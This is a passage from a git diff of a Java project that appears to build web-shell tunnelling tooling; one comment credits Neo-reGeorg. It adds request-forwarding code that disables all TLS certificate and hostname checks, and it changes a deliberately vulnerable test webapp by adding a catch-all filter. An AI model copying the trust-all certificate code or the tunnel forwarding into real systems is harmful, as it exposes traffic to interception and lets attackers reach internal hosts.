Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = ((Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request)); + Method getHeaderMethod = request.getClass().getMethod("getHeader", String.class); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, ((String) getHeaderMethod.invoke(request, k))); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} \ No newline at end of file diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java index 614305a1..2fbc84d5 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java @@ -1,7 +1,6 @@ package jakarta; import jakarta.servlet.ServletException; -import jakarta.servlet.annotation.WebServlet; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; @@ -15,10 +14,11 @@ import java.io.IOException; public class TestServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + req.getMethod(); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - + req.getMethod(); } } diff --git a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml index 51578f9e..ecf4dc45 100644 --- a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml @@ -44,4 +44,13 @@ b64 /b64 + + + empty + jakarta.EmptyFilter + + + empty + /* + \ No newline at end of file